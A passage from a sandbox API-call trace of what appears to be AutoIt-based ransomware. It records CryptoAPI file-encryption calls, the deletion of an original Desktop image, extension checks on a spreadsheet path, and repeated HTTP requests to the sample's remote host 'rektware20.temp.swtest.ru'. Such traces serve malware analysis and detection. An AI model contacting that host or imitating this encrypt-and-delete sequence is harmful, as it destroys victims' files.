lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.748] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.748] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.749] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.754] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.754] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.754] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.755] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x13930, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x13930, lpOverlapped=0x0) returned 1 [0074.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.757] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.757] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.757] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.757] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.757] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.757] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.758] CryptDestroyKey (hKey=0x164c970) returned 1 [0074.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.758] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.758] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.758] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.758] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.759] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.759] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.759] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.759] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.759] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.759] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.760] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.760] CryptReleaseContext (hProv=0x1632078, dwFlags=0x0) returned 1 [0074.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.760] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.760] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.761] CloseHandle (hObject=0x3d8) returned 1 [0074.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.764] CloseHandle (hObject=0x3d0) returned 1 [0074.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.771] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.771] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", lpFilePart=0x0) returned 0x36 [0074.771] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\60fj7dhn4yut1t9gsdev.png")) returned 0x20 [0074.771] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0074.771] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\60fj7dhn4yut1t9gsdev.png")) returned 1 [0074.775] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.776] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0074.776] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.776] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.776] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.776] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.776] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0074.777] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0074.777] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.777] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.777] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.777] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.777] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.777] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0074.777] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.777] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.778] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.778] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.779] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.779] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.779] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.779] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.779] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.779] CloseHandle (hObject=0x0) returned 0 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AGAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GAVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AVLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VLfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LfYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fYRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YRod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rod.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="od.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.781] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.781] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.781] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.781] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.781] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.781] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.781] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.781] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.782] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0074.782] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.782] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.782] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.782] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.782] HttpQueryInfoW (in: hRequest=0xcc000c, 